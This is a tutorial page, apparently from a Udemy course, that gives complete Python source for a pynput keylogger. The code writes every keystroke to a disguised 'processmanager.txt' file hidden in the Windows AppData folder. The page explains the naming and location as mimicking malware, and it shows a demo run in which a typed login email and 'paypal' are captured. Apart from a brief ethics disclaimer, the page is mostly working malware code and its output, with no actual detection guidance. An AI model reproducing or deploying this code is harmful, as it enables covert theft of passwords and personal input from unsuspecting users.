

Keylogger



Tags

Udemy

Introduction

Keyloggers monitor and record user keystrokes. This project presents a Python-based keylogger using `pynput`, designed for educational use. It demonstrates how attackers capture input and how defenders can detect such behavior.

Objectives

- Capture keystrokes using Python
- Explore file hiding techniques
- Understand ethical boundaries

Requirements

```
pip3 install pynput
```

Source Code

```
import os
from pynput.keyboard import Listener

keys = []
count = 0
path = os.environ['appdata'] + '\\processmanager.txt'
#path = 'processmanager.txt'

def on_press(key):
```

```

global keys, count
keys.append(key)
count += 1

if count >= 1:
    count = 0
    write_file(keys)
    keys = []

def write_file(keys):
    with open(path, 'a') as f:
        for key in keys:
            k = str(key).replace("'", "")
            if k.find('backspace') > 0:
                f.write(' Backspace ')
            elif k.find('enter') > 0:
                f.write('\n')
            elif k.find('shift') > 0:
                f.write(' Shift ')
            elif k.find('space') > 0:
                f.write(' ')
            elif k.find('caps_lock') > 0:
                f.write(' caps_lock ')
            elif k.find('Key'):
                f.write(k)

with Listener(on_press=on_press) as listener:
    listener.join()

```

keylogger.py

Platform Behavior - windows

```
path = os.environ['appdata'] + '\\processmanager.txt'
```


- this is used for to run in window enviroment
- >appdate + \\ is use to hide the data in Appdata file
- Stores logs in the hidden `AppData` directory
- Mimics malware behavior by hiding files in system folders

```
path = 'processmanager.txt'
```

this is used for when run in linux machine

- Stores logs in the current working directory
- Easier for testing and debugging

Tutorial Usage

A terminal window with a dark background. The prompt is '(snowpirate@kali)-[~/Desktop/tools/keylog]'. The command '\$ python3 keylogger.py' has been entered, and a cursor is visible on the line below.

```
(snowpirate@kali)-[~/Desktop/tools/keylog]  
$ python3 keylogger.py
```

- run the command



E-mel atau nombor telefon mudah alih
+60 ∨ 911123232

Terlupa e-mel?

Seterusnya

atau



Anda belum mengesahkan nombor telefon mudah alih anda lagi. Gunakan e-mel anda buat masa ini.

E-mel
test@gmail.com

Terlupa e-mel?

Seterusnya

atau

- Put some info in the output

```
(snowpirate@kali)-[~/Desktop/tools/keylog]
$ python3 keylogger.py
^CTraceback (most recent call last):
  File "/home/snowpirate/Desktop/tools/keylog/keylogger.py", line 39, in <module>
    listener.join()
  File "/home/snowpirate/.local/lib/python3.11/site-packages/pynput/util/__init__.py", line 271, in join
    super(AbstractListener, self).join(timeout, *args)
  File "/usr/lib/python3.11/threading.py", line 1119, in join
    self._wait_for_tstate_lock()
  File "/usr/lib/python3.11/threading.py", line 1139, in _wait_for_tstate_lock
    if lock.acquire(block, timeout):
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
KeyboardInterrupt
```

- end the keylogges with "Ctrl + C"

```
(snowpirate@kali)~/Desktop/tools/keylog
$ ls
keylogger.py  processmanager.txt

(snowpirate@kali)~/Desktop/tools/keylog
$ cat processmanager.txt
paypal Backspace Backspace
911123232test Shift @gmail.comc

(snowpirate@kali)~/Desktop/tools/keylog
$
```

- check processmanager.txt (auto create file) after end the command
- read the file and we can see the output of our input just now

Ethical Considerations

Keyloggers must never be deployed without consent. This project is for controlled lab use only. Unauthorized use is a violation of privacy and law.

Conclusion

This keylogger project helps learners understand how attackers monitor input and how defenders can detect such behavior. It emphasizes the importance of endpoint protection and ethical responsibility.